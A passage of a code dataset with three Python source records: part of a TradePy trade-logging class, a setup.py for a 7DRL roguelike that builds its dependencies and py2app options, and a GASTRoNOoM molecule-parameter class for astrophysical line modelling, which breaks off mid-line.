self.storage.clone()\n return TradeBook(storage)\n\n def make_open_position_log(self, timestamp: str, pos: Position) -> TradeLog:\n chg = pos.chg_at(pos.latest_price)\n pct_chg = pos.pct_chg_at(pos.latest_price)\n\n return {\n \"timestamp\": timestamp,\n \"action\": TradeActions.OPEN,\n \"id\": pos.id,\n \"code\": pos.code,\n \"vol\": pos.vol,\n \"price\": pos.price,\n \"total_value\": pos.price * pos.vol,\n \"chg\": chg,\n \"pct_chg\": pct_chg,\n \"total_return\": (pos.price * pct_chg * 1e-2) * pos.vol,\n }\n\n def make_close_position_log(\n self, timestamp: str, pos: Position, action: TradeActionType\n ) -> TradeLog:\n assert pos.is_closed\n chg = pos.chg_at(pos.latest_price)\n pct_chg = pos.pct_chg_at(pos.latest_price)\n sold_vol = pos.yesterday_vol\n\n return {\n \"timestamp\": timestamp,\n \"action\": action,\n \"id\": pos.id,\n \"code\": pos.code,\n \"vol\": sold_vol,\n \"price\": pos.latest_price,\n \"total_value\": pos.latest_price * sold_vol,\n \"chg\": chg,\n \"pct_chg\": pct_chg,\n \"total_return\": (pos.price * pct_chg * 1e-2) * sold_vol,\n }\n\n def make_capital_log(self, timestamp, account: AnyAccount) -> CapitalsLog:\n return {\n \"frozen_cash_amount\": account.frozen_cash_amount,\n \"timestamp\": timestamp,\n \"market_value\": account.market_value,\n \"free_cash_amount\": account.free_cash_amount,\n }\n\n def buy(self, timestamp: str, pos: Position):\n log = self.make_open_position_log(timestamp, pos)\n try:\n self.storage.buy(log)\n except Exception as exc:\n logger.error(f\"导出开仓日志错误, {log}\")\n raise exc\n\n def sell(self, timestamp: str, pos: Position, action: TradeActionType):\n log = self.make_close_position_log(timestamp, pos, action)\n try:\n self.storage.sell(log)\n except Exception as exc:\n logger.error(f\"导出开仓日志错误, {log}\")\n raise exc\n\n def close(self, *args, **kwargs):\n kwargs[\"action\"] = TradeActions.CLOSE\n self.sell(*args, **kwargs)\n\n def stop_loss(self, *args, **kwargs):\n kwargs[\"action\"] = TradeActions.STOP_LOSS\n self.sell(*args, **kwargs)\n\n def take_profit(self, *args, **kwargs):\n kwargs[\"action\"] = TradeActions.TAKE_PROFIT\n self.sell(*args, **kwargs)\n\n def log_opening_capitals(self, date: str, account: Account):\n log = self.make_capital_log(date, account)\n self.storage.log_opening_capitals(log)\n\n def log_closing_capitals(self, date: str, account: Account):\n log = self.make_capital_log(date, account)\n self.storage.log_closing_capitals(log)\n\n def get_opening(self, date: str) -> CapitalsLog | None:\n return self.storage.get_opening(date)\n\n @classmethod\n def backtest(cls) -> \"TradeBook\":\n return cls(InMemoryTradeBookStorage())\n\n @classmethod\n def live_trading(cls) -> \"TradeBook\":\n return cls(SQLiteTradeBookStorage())\n","repo_name":"namoshizun/TradePy","sub_path":"tradepy/trade_book/trade_book.py","file_name":"trade_book.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"53"}
+{"seq_id":"5912841901","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import division, print_function, absolute_import, unicode_literals\n\nimport os\nimport re\nimport sys\nimport datetime\n\nfrom setuptools import setup, find_packages\n\n\ndef setup_project():\n '''Sets up project as needed.\n\n This function should be manually updated as needed. Placed at the\n top of the file for better grokking.\n\n When developing, simply run (from within a virtualenv):\n\n $ pip install --process-dependency-links .[all]\n\n Returns:\n package_requires(list): List of required packages\n links(list): list of private package links\n classifiers(list): standard python package classifiers\n '''\n # Whatever dependencies package requires\n package_requires = [\n 'colorama',\n 'docopt',\n 'libtcod-cffi',\n 'pygments',\n 'pyyaml',\n ]\n private_packages = [\n ]\n package_requires += private_packages\n\n # Links if needed for private pypi repos\n # Unfortunately, versions are not supported at the moment.\n # Currently searches only for prod.\n # TODO: Is there a way to look for dev first then prod (or vice versa)?\n links = []\n if private_packages:\n private = get_private_repo_data()\n netloc_path = 'https://{login}:{pass}@{server}/{user}/prod/'.format(**private)\n links = [\n os.path.join(netloc_path, strip_versions(required))\n for required in private_packages\n if strip_versions(required)\n ]\n\n return package_requires, links\n\n\n# ----------------------------------------------------------------------\n# Generally, only edit above this line\n# ----------------------------------------------------------------------\ndef strip_versions(requirement):\n '''Strips out version information from package\n\n Args:\n requirement(str): an example of a\n\n Returns:\n str: Just the package name\n '''\n # Use the naive approach until we need some regex magic\n pragma = None\n if ';' in requirement:\n requirement, pragma = requirement.split(';')\n if pragma:\n if eval(pragma.strip()):\n requirement = requirement.rstrip(' <>=.,1234567890')\n else:\n requirement = ''\n return requirement\n\n\ndef get_private_repo_data():\n '''Loads private repo data'''\n # Dependencies\n devpi = {\n 'login': os.environ.get('DEVPI_LOGIN'),\n 'pass': os.environ.get('DEVPI_PASS'),\n 'server': os.environ.get('DEVPI_SERVER'),\n 'user': os.environ.get('DEVPI_USER'),\n }\n if not all(v for v in devpi.values()):\n err_msg = 'Devpi requires the following environment variables defined: {env_values}'\n raise RuntimeError(err_msg.format(env_values=devpi.values()))\n return devpi\n\n\ndef get_package_metadata(project_name=None):\n '''Captures metadata information for package\n\n Providing the project name will reduce the search/install time.\n\n Args:\n project_name: top project folder and project name\n\n Returns:\n dict: package metdata\n '''\n top_folder = os.path.abspath(os.path.dirname(__file__))\n required_fields = ['version', 'license', 'url', 'description', 'project']\n metadata = {}\n missing_message = []\n package_names = [p for p in find_packages() if '.' not in p]\n for root, folder, files in os.walk(top_folder):\n if not any(root.endswith(p) for p in package_names):\n continue\n for filename in files:\n if filename == '__metadata__.py':\n filepath = os.path.join(root, filename)\n relpath = filepath.replace(top_folder, '').lstrip('/')\n with open(os.path.join(filepath)) as fd:\n exec(fd.read(), metadata)\n if 'package_metadata' in metadata:\n metadata = metadata.get('package_metadata', {})\n if not all(field in metadata for field in required_fields):\n missing = ', '.join(\n field\n for field in sorted(required_fields)\n if field not in metadata\n )\n missing_message.append('{} is missing: {}'.format(relpath, missing))\n metadata = {}\n if metadata:\n break\n if metadata:\n break\n if not metadata:\n print('Required package fields: {}'.format(', '.join(sorted(required_fields))))\n print('\\n'.join(missing_message))\n raise Exception('Could not find package')\n if 'doc' not in metadata:\n if os.path.exists('README.md'):\n try:\n import pypandoc\n metadata['doc'] = pypandoc.convert('README.md', 'rst')\n except ImportError:\n with open('README.md', 'r') as fd:\n metadata['doc'] = fd.read()\n elif os.path.exists('README.rst'):\n with open('README.rst', 'r') as fd:\n metadata['doc'] = fd.read()\n return metadata\n\n\ndef get_package_requirements(package_requires, links=[], required=None):\n '''Convenience function to wrap package_requires\n\n Args:\n required(list): list of required packages to run\n Returns:\n dict: A better format of requirements\n '''\n required = package_requires if not required else required\n requirements = {\n # Debug probably is only necessary for development environments\n 'debug': [\n 'ipdb',\n 'ipython'\n ],\n\n # Deploy identifies upgrades to local system prior to deployment\n 'deploy': [\n 'gitpython',\n ],\n\n # Docs should probably only be necessary in Continuous Integration\n 'docs': [\n 'coverage',\n 'sphinx',\n 'sphinx_rtd_theme',\n 'sphinxcontrib-napoleon',\n ],\n\n # Examples probably is only necessary for development environments\n 'examples': [\n 'docopt',\n 'pyyaml',\n ],\n\n # Monitoring identifies upgrades to remote system mostly for nagios\n 'monitoring': [\n 'inotify',\n 'psutil',\n 'graphitesend',\n ],\n\n # private means use a known private pypi server\n 'private': [\n ],\n\n # Requirements is the basic needs for this package\n 'requirements': required,\n\n 'setup': [],\n\n # Tests are needed in a local and CI environments for py.test and tox\n # Note: To run the tox environment for docs, docs must also be installed\n 'tests': [\n 'detox',\n 'docopt',\n 'pdbpp',\n 'pytest',\n 'pytest-cov',\n 'pytest-flake8',\n 'pytest-html',\n 'pytest-isort',\n 'pytest-xdist',\n 'pyyaml',\n 'responses',\n 'tox',\n ],\n }\n if sys.platform == 'darwin':\n requirements.setdefault('setup', []).append('py2app')\n requirements.setdefault('deploy', []).append('py2app')\n elif sys.platform == 'win32':\n requirements.setdefault('setup', []).append('py2exe')\n requirements.setdefault('deploy', []).append('py2exe')\n\n # Developers should probably run: pip install .[dev]\n requirements['dev'] = [\n r for k, reqs in requirements.items() for r in reqs\n if k not in ['requirements']\n ]\n\n # All is for usability: pip install .[all]\n requirements['all'] = [\n r for k, reqs in requirements.items() for r in reqs\n ]\n\n if requirements.get('private'):\n private = get_private_repo_data()\n netloc_path = 'https://{login}:{pass}@{server}/{user}/prod/'.format(**private)\n private_links = [\n os.path.join(netloc_path, strip_versions(required))\n for required in requirements['private']\n if strip_versions(required)\n ]\n links = links + private_links\n\n return requirements, links\n\n\ndef get_package_distribution_options(metadata):\n \"\"\"Captures package distribution options for py2app\n\n For a list of options, see Apple's Runtime Configuration Guideline:\n\n https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPRuntimeConfig/000-Introduction/introduction.html\n \"\"\"\n project_name = metadata['project']\n version = metadata['versionstr']\n copyright_year = metadata['copyright_years']\n author = metadata['author']\n description = metadata['description']\n repo_path = os.path.dirname(os.path.abspath(__file__))\n asset_path = os.path.join(f'{project_name}', 'data', 'assets')\n options = {'py2app': {\n 'bdist_base': os.path.join(f'{repo_path}', 'build'),\n 'dist_dir': os.path.join(f'{repo_path}', 'dist'),\n 'plist': {\n 'CFBundleName': f'{project_name}',\n 'CFBundleDisplayName': f'{project_name}',\n 'CFBundleGetInfoString': f'{description}',\n 'CFBundleIdentifier': f\"org.7drl.{author}.osx.{project_name}\",\n 'CFBundleVersion': f\"{version}\",\n 'CFBundleShortVersionString': f\"{version}\",\n 'NSHumanReadableCopyright': f\"Copyright © {copyright_year}, {author}, All Rights Reserved\"\n },\n 'argv_emulation': True,\n 'iconfile': os.path.join(asset_path, 'game-icon.ico'),\n }}\n return options\n\n\ndef get_package_distribution_data_files(metadata):\n \"\"\"Captures package distribution data files for py2app\"\"\"\n data_files = []\n project_name = metadata['project']\n data_path = os.path.join(f'{project_name}', 'data')\n for root, folders, files in os.walk(data_path):\n for filename in files:\n filepath = os.path.join(root, filename)\n data_files.append(filepath)\n return data_files\n\n\ndef get_console_scripts(metadata):\n '''Convenience function to wrap console scripts.\n\n Expects that all command-line scripts are found within the\n __main__.py file and that they are functions.\n\n Args:\n metadata(dict): project metadata\n\n Returns:\n list: scripts listed in format required by setup\n '''\n scripts = []\n project_name = metadata['project']\n project_folder = os.path.abspath(os.path.dirname(__file__))\n filepath = '{project_folder}/{project_name}/__main__.py'\n filepath = filepath.format(project_folder=project_folder, project_name=project_name)\n engine = re.compile(r\"^def (?P(.*?))\\((?P(.*?))\\)\\:$\")\n template = '{script} = {project_name}.__main__:{func_name}'\n if os.path.exists(filepath):\n with open(filepath, 'r') as fd:\n for line in fd:\n for data in [m.groupdict() for m in engine.finditer(line)]:\n func_name = data['func']\n script = func_name.replace('_', '-')\n scripts.append(template.format(script=script, project_name=project_name, func_name=func_name))\n return scripts\n\n\ndef main():\n '''Sets up the package'''\n metadata = get_package_metadata()\n package_requires, links = setup_project()\n requirements, links = get_package_requirements(package_requires=package_requires, links=links)\n package_distribution_options = get_package_distribution_options(metadata=metadata)\n package_distribution_data_files = get_package_distribution_data_files(metadata=metadata)\n project_name = metadata['project']\n classifiers = metadata.get('classifiers')\n extras = {k: v for k, v in requirements.items() if k != 'requirements'}\n year = metadata.get('copyright_years') or datetime.datetime.now().year\n lic = metadata.get('license') or 'Copyright {year} - all rights reserved'.format(year=year)\n # Run setup\n setup(\n # Package metadata information\n name=project_name,\n version=metadata.get('versionstr', 'unknown'),\n description=metadata.get('shortdoc') or project_name,\n long_description=metadata.get('doc') or metadata.get('shortdoc') or project_name,\n url=metadata.get('url', ''),\n license=lic,\n author=metadata.get('author', 'unknown'),\n author_email=metadata.get('email', 'unknown'),\n\n # Package Properties\n packages=find_packages(),\n include_package_data=True,\n\n # Requirements\n setup_requires=requirements.get('setup') or [],\n install_requires=requirements['requirements'],\n extras_require=extras,\n tests_require=requirements.get('tests') or [],\n dependency_links=links,\n entry_points={\n 'console_scripts': get_console_scripts(metadata),\n },\n platforms=['any'],\n classifiers=classifiers,\n zip_safe=False,\n\n # darwin - py2app\n options=package_distribution_options,\n data_files=package_distribution_data_files,\n app=['run-lose.py'],\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"brianbruggeman/lose-7drl","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":12895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"43999225685","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nToolbox for Molecules, used in various applications for GASTRoNOoM.\n\nAuthor: R. Lombaert\n\n\"\"\"\n\nimport os \nimport re\n\nimport cc.path\nfrom cc.tools.io import DataIO\nfrom cc.tools.io.Database import Database\nfrom cc.tools.readers import RadiatReader, MlineReader\n\n\n\ndef makeMoleculeFromDb(molec_id,molecule,path_gastronoom='codeSep2010',\\\n mline_db=None):\n \n '''\n Make a Molecule() from a database, based on model_id and molec_id.\n \n Returns None if the molecule is not available in the database.\n \n @param molec_id: the model_id of the molecule\n @type molec_id: string\n @param molecule: the short hand name of the molecule \n @type molecule: string\n \n @keyword path_gastronoom: the output path in the ~/GASTRoNOoM/. directory\n \n (default: codeSep2010)\n @type path_gastronoom: string\n @keyword mline_db: The mline database, which can be passed in case one \n wants to reduce overhead. Not required though.\n \n (default: None)\n @type mline_db: Database()\n \n @return: the molecule with all its information embedded\n @rtype: Molecule()\n \n '''\n \n #-- Convenience path\n cc.path.gout = os.path.join(cc.path.gastronoom,path_gastronoom)\n \n #-- Retrieve cooling id log\n cooling_log = os.path.join(cc.path.gout,'models',molec_id,'cooling_id.log')\n if os.path.isfile(cooling_log):\n model_id = DataIO.readFile(cooling_log)[0]\n #- ie mline id is the same as model id, the first calced for this id\n else: \n model_id = molec_id\n \n if mline_db is None:\n molec_db = Database(os.path.join(cc.path.gout,\\\n 'GASTRoNOoM_mline_models.db'))\n else:\n molec_db = mline_db\n \n if not molec_db.has_key(model_id) \\\n or not molec_db[model_id].has_key(molec_id) \\\n or not molec_db[model_id][molec_id].has_key(molecule):\n return None\n molec_dict = molec_db[model_id][molec_id][molecule].copy()\n extra_pars = molec_dict['MOLECULE'].split()[1:]\n for k,v in zip(['ny_low','ny_up','nline','n_impact','n_impact_extra'],\\\n extra_pars):\n molec_dict[k] = int(v)\n for key in ['MOLECULE','CHANGE_DUST_TO_GAS_FOR_ML_SP',\\\n 'NUMBER_INPUT_ABUNDANCE_VALUES','KEYWORD_TABLE',\\\n 'MOLECULE_TABLE','ISOTOPE_TABLE']:\n if molec_dict.has_key(key):\n del molec_dict[key]\n molec_dict = dict([(k.lower(),v) for k,v in molec_dict.items()])\n molec_dict['path_gastronoom'] = path_gastronoom\n molec = Molecule(molecule=molecule,**molec_dict)\n molec.setModelId(molec_id)\n return molec\n \n\n\nclass Molecule():\n \n '''\n A class to deal with molecules in GASTRoNOoM.\n \n '''\n \n def __init__(self,molecule,ny_up=0,ny_low=0,nline=0,n_impact=0,\\\n n_impact_extra=0,abun_molec=1.0e-10,abun_molec_rinner=1.0e-10,\\\n abun_molec_re=1.0e-10,rmax_molec=1.,itera=0,lte_request=None,\\\n use_collis_radiat_switch=0,dust_to_gas_change_ml_sp=0,\\\n use_no_maser_option=0,use_maser_in_sphinx=1,\\\n fehler=1e-4,xdex=2.,n_freq=30,start_approx=0,\\\n use_fraction_level_corr=1,fraction_level_corr=0.8,\\\n number_level_max_corr=1e-12,\\\n ratio_12c_to_13c=0,ratio_16o_to_17o=0,ratio_16o_to_18o=0,\\\n opr=0,r_outer=0,outer_r_mode='MAMON',abundance_filename=None,\\\n change_fraction_filename=None,set_keyword_change_abundance=0,\\\n set_keyword_change_temperature=0,enhance_abundance_factor=0,\\\n new_temperature_filename=None,linelist=0,starfile='',\\\n path_gastronoom=None):\n \n '''\n Initiate a Molecule class, setting all values for the allowed \n transition parameters to zero (by default).\n \n @param molecule: shorthand name of the molecule\n @type molecule: string\n \n @keyword ny_up: number of levels in first vibration state v=1\n \n (default: 0)\n @type ny_up: int\n @keyword ny_low: number of levels in the ground vibration state v=0\n \n (default: 0)\n @type ny_low: int\n @keyword nline: number of allowed transitions in molecule\n \n (default: 0)\n @type nline: int \n @keyword n_impact: number of depth points in radius mesh\n \n (default: 0)\n @type n_impact: int \n @keyword n_impact_extra: number of depth points in radius_mesh \n (< n_impact) used for variable mass-loss \n (0 if constant mdot)\n \n (default: 0)\n @type n_impact_extra: int \n @keyword itera: number of iterations in mline for molecule, LTE \n approximation if zero\n \n (default: 0)\n @type itera: string \n @keyword abun_molec: molecular abundance at the stellar radius.\n Default is arbitrary, and used if molecule is co \n or h2o.\n \n (default: 1.0e-10)\n @type abun_molec: float \n @keyword abun_molec_rinner: molecular abundance at inner shell radius.\n Default is arbitrary, and used if molecule\n is co or h2o.\n \n (default: 1.0e-10)\n @type abun_molec_rinner: float \n @keyword abun_molec_re: molecular abundance at rmax_molec. Default is \n arbitrary, and used if molecule is co or h2o.\n \n (default: 1.0e-10)\n @type abun_molec_re: float \n @keyword rmax_molec: The radius from which the Willacy abundance\n profiles are used. They are rescaled to \n abun_molec_re. Default is arbitrary, and used if \n molecule is co or h2o.\n \n (default: 1.)\n @type rmax_molec: float\n @keyword use_collis_radiat_switch: in case of unstable mline, such as \n for para h2o sometimes\n \n (default: 0)\n @type use_collis_radiat_switch: bool\n @keyword fehler: convergence criterium in mline\n \n (default: 1e-4)\n @type fehler: float\n @keyword xdex: Controls the distribution of the impact parameters in the\n interval between R_STAR and R_OUTER. \n \n (default: 2.)\n @type xdex: float \n @keyword n_freq: Number of frequency points in line profile\n \n (default: 30)\n @type n_freq: int\n @keyword start_approx: set to 0 when one wants to start with LTE-approx \n as starting n(NY,N_IMPACT); set to 1 when \n starting from another model - with same NY, \n N_IMPACT, ...\n \n (default: 0)\n @type start_approx: bool\n @keyword use_fraction_level_corr: set to 1 if one wants to put a limit \n on the level-population correction \n (BES3).\n \n (default: 1)\n @type use_fraction_level_corr: bool\n @keyword fraction_level_corr: user-defined fraction for maximum change \n in level-population correction; useful in \n case of H2O\n \n (default: 0.8)\n @type fraction_level_corr: float\n @keyword number_level_max_corr: user-defined level population. Only the \n level corrections for levels with a \n higher level population will be used to \n determine convergence criterion\n \n (default: 1e-12)\n @type number_level_max_corr: float\n @keyword ratio_12c_to_13c: 12c/13c ratio, only relevant for 13co and \n other molecules with that isotope\n \n (default: 0)\n @type ratio_12c_to_13c: int\n @keyword ratio_16o_to_17o: 16o/17o ratio, only relevant for h2_17o and \n other molecules with that isotope\n \n (default: 0)\n @type ratio_16o_to_17o: int\n @keyword ratio_16o_to_18o: 16o/18o ratio, only relevant for h2_18o and \n other molecules with that isotope\n \n (default: 0)\n @type ratio_16o_to_18o: int\n @keyword opr: ortho-to-para water ratio, only relevant for ph2o,\n ph2_17o,ph2_18o and other molecules with para h2o\n \n (default: 0)\n @type opr: int \n @keyword r_outer: the outer radius of the shell for this molecule, \n 0 if MAMON\n \n (default: 0)\n @type r_outer: float\n @keyword lte_request: using LTE in mline only (with or without \n collision rates: determined by itera), if default\n lte_request is 0 if itera != 0 and 1 if itera ==0\n \n (default: 0)\n @type lte_request: bool\n @keyword outer_r_mode: the mode used for calculating r_outer \n (FIXED or MAMON)\n \n (default: 'MAMON')\n @type outer_r_mode: string\n @keyword dust_to_gas_change_ml_sp: if 0 not used, otherwise this is an \n alternative value for the\n dust-to-gas ratio in mline/sphinx \n for this molecule and its \n transitions.\n \n (default: 0)\n @type dust_to_gas_change_ml_sp: float\n @keyword abundance_filename: if enhance_abundance_factor is not zero, \n this includes the filename and/or path \n to the file that includes the profile. \n \n (default: None)\n @type abundance_filename: string\n @keyword enhance_abundance_factor: if 0 the Willacy abundance profiles \n are uses, if not zero the \n abundance_filename is used and \n scaled with the factor given here. \n THIS DOES NOT RESCALE ABUNDANCES BY \n WILLACY! Only used for filename \n abundances, hence why this parameter\n also turns this feature on/off\n \n (default: 0)\n @type enhance_abundance_factor: float\n @keyword set_keyword_change_abundance: Change the abundance calculated \n in cooling by a radius dependent\n factor\n \n (default: 0)\n @type set_keyword_change_abundance: bool\n @keyword change_fraction_filename: the filename of the enhancement \n factors if \n set_keyword_change_abundance != 0\n \n (default: None)\n @type change_fraction_filename: string\n @keyword set_keyword_change_temperature: Use a different temperature \n structure in mline and sphinx\n \n (default: 0)\n @type set_keyword_change_temperature: bool\n @keyword new_temperature_filename: the filename for the temperature \n structure if \n set_keyword_change_temperature != 0\n \n (default: None)\n @type new_temperature_filename: string\n @keyword use_no_maser_option: Do not allow masers (neg opacs) in mline\n RT by setting negative line opacs to 1e-60\n If use_maser_in_sphinx is on, mline \n will do a final run including masers \n anyway to see what would happen if they \n were inluded by allowing negative opacs\n for the line profile calculations in \n sphinx (but not for the convergence in \n mline).\n \n (default: 0)\n @type use_no_maser_option: bool\n @keyword use_maser_in_sphinx: When on, does a final mline run including \n masers, allowing negative opacities. When \n off, sets the masing line opacities to \n 1e-60 when writing out the ml3 file.\n \n (default: 1)\n @type use_maser_in_sphinx: bool\n @keyword linelist: The molecule is created for the LineList module. No\n radiative information is read from GASTRoNOoM input\n files.\n \n (default: 0)\n @type linelist: bool\n @keyword starfile: input filename for a stellar input spectrum (either\n user defined or from a model atmosphere spectrum)\n \n (default: '')\n @type starfile: str\n @keyword path_gastronoom: model output folder in the GASTRoNOoM home\n \n (default: None)\n @type path_gastronoom: string \n \n '''\n \n self.molecule = str(molecule)\n self.ny_up = int(ny_up)\n self.ny_low = int(ny_low)\n self.nline = int(nline)\n self.n_impact = int(n_impact)\n self.n_impact_extra = int(n_impact_extra)\n self.path_gastronoom = path_gastronoom\n \n self.molecule_index = DataIO.getInputData(keyword='TYPE_SHORT',\\\n filename='Molecule.dat')\\\n .index(self.molecule)\n mdata = ['MOLEC_TYPE','NAME_SHORT','NAME_PLOT',\\\n 'SPEC_INDICES','USE_INDICES_DAT']\n attrs = ['molecule_full','molecule_short','molecule_plot',\\\n 'spec_indices','use_indices_dat']\n mfloat = [0,0,0,1,1]\n for k,a,mf in zip(mdata,attrs,mfloat):\n setattr(self,a,DataIO.getInputData(keyword=k,make_float=mf,\\\n filename='Molecule.dat',\\\n rindex=self.molecule_index,))\n \n self.itera = int(itera)\n #- lte_request may be undefined, but then it would be faulty input, \n #- where we do want the code to crash... \n if self.itera==0 and lte_request is None:\n self.lte_request = 1\n #- Normally u never use lte if taking into account collision rates\n elif self.itera != 0: \n self.lte_request = 0\n elif self.itera==0 and lte_request is not None:\n self.lte_request = lte_request\n self.abun_molec = abun_molec\n self.abun_molec_rinner = abun_molec_rinner\n self.abun_molec_re = abun_molec_re\n self.rmax_molec = rmax_molec\n self.use_collis_radiat_switch = int(use_collis_radiat_switch)\n self.ratio_12c_to_13c = ratio_12c_to_13c\n self.ratio_16o_to_17o = ratio_16o_to_17o\n self.ratio_16o_to_18o = ratio_16o_to_18o\n self.opr = opr\n self.dust_to_gas_change_ml_sp = float(dust_to_gas_change_ml_sp)\n self.use_no_maser_option = int(use_no_maser_option)\n self.use_maser_in_sphinx = int(use_maser_in_sphinx)\n self.fehler = fehler\n self.xdex = xdex\n self.n_freq = int(n_freq)\n self.start_approx = int(start_approx)\n self.use_fraction_level_corr = int(use_fraction_level_corr)\n self.fraction_level_corr = fraction_level_corr\n self.number_level_max_corr = number_level_max_corr\n \n #-- Set the molecule inputfiles for abundance and temperature, applying\n # the path from Path.dat if the file does not exist or the path to the\n # file is not given. (eg a subfolder might be given, but that works)\n for k in ['abundance_filename','change_fraction_filename',\\\n 'new_temperature_filename']:\n fn = locals()[k]\n if fn and not (os.path.isfile(fn) and os.path.split(fn)[0]):\n fn = os.path.join(cc.path.molf,fn)\n setattr(self,k,fn)\n else:\n setattr(self,k,fn)\n self.enhance_abundance_factor = float(enhance_abundance_factor)\n self.set_keyword_change_abundance = int(set_keyword_change_abundance)\n self.set_keyword_change_temperature = \\\n int(set_keyword_change_temperature)\n\n #-- Mainly for plotting purposes: The relative, multiplicative abundance \n # factor with respect to main isotope (and OPR) is calculated\n # This does not take into account enhance_abundance_factor!\n self.abun_factor = self.getAbunFactor() \n self.outer_r_mode = outer_r_mode\n if self.outer_r_mode == 'MAMON': self.r_outer = 0\n else: self.r_outer = float(r_outer)\n self.__model_id = None\n if not linelist:\n if self.use_indices_dat:\n tag = '_'.join([self.molecule,str(self.ny_low),\\\n str(self.ny_up),str(self.nline)])\n i = DataIO.getInputData(start_index=4,keyword='MOLECULE',\\\n filename='Indices.dat').index(tag)\n fn = DataIO.getInputData(path=cc.path.usr,keyword='RADIAT',\\\n filename='Indices.dat',start_index=4,\\\n rindex=i)\n fn = os.path.join(cc.path.gdata,'radiat_backup',fn)\n else: \n fn = os.path.join(cc.path.gdata,'%s_radiat.dat'%self.molecule)\n\n self.radiat = RadiatReader.RadiatReader(fn=fn,nline=self.nline,\n ny=self.ny_up+self.ny_low)\n if self.spec_indices:\n if self.use_indices_dat:\n f = DataIO.getInputData(path=cc.path.usr,start_index=4,\\\n keyword='INDICES',rindex=i,\\\n filename='Indices.dat')\n filename = os.path.join(cc.path.gdata,'indices_backup',f)\n else:\n filename = os.path.join(cc.path.gdata,\\\n '{}_indices.dat'.format(self.molecule))\n rf = DataIO.readFile(filename,' ')\n self.radiat_indices = [[int(i) for i in line] for line in rf]\n else:\n self.radiat = None\n self.radiat_indices = None\n self.starfile = starfile\n self.mline = None\n\n\n\n def __str__(self):\n \n '''\n Printing a molecule as it should appear in the GASTRoNOoM input file.\n \n '''\n \n ll = [self.molecule_full,self.ny_low,self.ny_up,self.nline,\\\n self.n_impact,self.n_impact_extra]\n return 'MOLECULE={} {:d} {:d} {:d} {:d} {:d}'.format(*ll)\n\n\n\n def __eq__(self,other):\n \n '''\n Compare two molecules and return true if equal.\n \n The condition is the string representation of this Molecule(). Note \n that the other properties included in the self.makeDict() dictionary are\n not compared. Those properties do not determine whether a molecule is \n equal or not.\n \n In this sense equal refers to the spectroscopy included for this \n molecule, the number of impact parameters, and the molecule itself, of \n course.\n \n @return: The comparison\n @rtype: bool\n \n '''\n \n try: \n if str(self) == str(other):\n return True\n else:\n return False\n except AttributeError:\n return False\n \n\n\n def __ne__(self,other):\n \n '''\n Compare two molecules and return true if not equal.\n \n The condition is the string representation of this Molecule(). Note \n that the other properties included in the self.makeDict() dictionary are\n not compared. Those properties do not determine whether a molecule is \n equal or not.\n \n In this sense equal refers to the spectroscopy included for this \n molecule, the number of impact parameters, and the molecule itself, of \n course.\n \n @return: The negative comparison\n @rtype: bool\n \n '''\n \n try:\n if str(self) != str(other):\n return True\n else:\n return False\n except AttributeError:\n return True\n\n\n \n def __hash__(self):\n \n '''\n Return a hash number based on the string of the molecule.\n \n The condition is the string representation of this Molecule(). Note \n that the other properties included in the self.makeDict() dictionary are\n not compared. Those properties do not determine whether a molecule is \n equal or not.\n \n In this sense equal refers to the spectroscopy included for this \n molecule, the number of impact parameters, and the molecule itself, of \n course.\n \n @return: The hash number:\n @rtype: int\n \n '''\n \n return hash(str(self))\n\n\n\n def updateParameters(self,pardict):\n \n '''\n Update parameters.\n \n @param pardict: the parameters with respective values for the update\n @type pardict: dict()\n \n '''\n \n for k,v in pardict.items():\n if hasattr(self,k.lower()): setattr(self,k.lower(),v)\n\n\n\n def makeDict(self,path=None,in_progress=0):\n \n '''\n Return a dict with molecule string, and other relevant parameters.\n \n @keyword path: If a different path is needed, it can be passed here, \n for files. For instance, when making dictionaries for \n Molecule() objects in the case of supercomputer copies.\n \n (default: None)\n @type path: string\n @keyword in_progress: add an extra dict entry \"IN_PROGRESS\" if the \n molecule is still being calculated somewhere.\n \n (default: 0)\n @type in_progress: bool\n \n @return: The molecule dictionary including all relevant, defining \n information\n @rtype: dict()\n \n '''\n \n dd = dict([('MOLECULE',str(self).replace('MOLECULE=','')),\\\n ('ITERA',self.itera),\\\n ('ABUN_MOLEC',self.abun_molec),\\\n ('ABUN_MOLEC_RINNER',self.abun_molec_rinner),\\\n ('ABUN_MOLEC_RE', self.abun_molec_re),\\\n ('RMAX_MOLEC',self.rmax_molec),\\\n ('LTE_REQUEST',self.lte_request),\\\n ('OUTER_R_MODE',self.outer_r_mode),\\\n ('USE_COLLIS_RADIAT_SWITCH',self.use_collis_radiat_switch),\\\n ('R_OUTER',self.r_outer),\\\n ('USE_NO_MASER_OPTION',self.use_no_maser_option),\\\n ('USE_MASER_IN_SPHINX',self.use_maser_in_sphinx),\\\n ('FEHLER',self.fehler),\\\n ('XDEX',self.xdex),\\\n ('N_FREQ',self.n_freq),\\\n ('START_APPROX',self.start_approx),\\\n ('USE_FRACTION_LEVEL_CORR',self.use_fraction_level_corr),\\\n ('FRACTION_LEVEL_CORR',self.fraction_level_corr),\\\n ('NUMBER_LEVEL_MAX_CORR',self.number_level_max_corr)\n ])\n \n for par,isot in [('RATIO_16O_TO_18O','18O'),\\\n ('RATIO_16O_TO_17O','17O'),\\\n ('RATIO_12C_TO_13C','13C'),\\\n ('OPR','p1H')]:\n if isot in self.molecule:\n dd[par] = getattr(self,par.lower())\n if self.dust_to_gas_change_ml_sp:\n dd['CHANGE_DUST_TO_GAS_FOR_ML_SP'] = 1\n dd['DUST_TO_GAS_CHANGE_ML_SP'] = self.dust_to_gas_change_ml_sp\n\n if self.enhance_abundance_factor:\n dd['ENHANCE_ABUNDANCE_FACTOR'] = self.enhance_abundance_factor\n niav = len(DataIO.readCols(filename=self.abundance_filename)[0])\n dd['NUMBER_INPUT_ABUNDANCE_VALUES'] = niav\n dd['KEYWORD_TABLE'] = 1\n moltab = self.molecule_full[:self.molecule_full.index('.')]\n dd['MOLECULE_TABLE'] = moltab \n dd['ISOTOPE_TABLE'] = self.molecule_full\n if not path is None:\n afn = 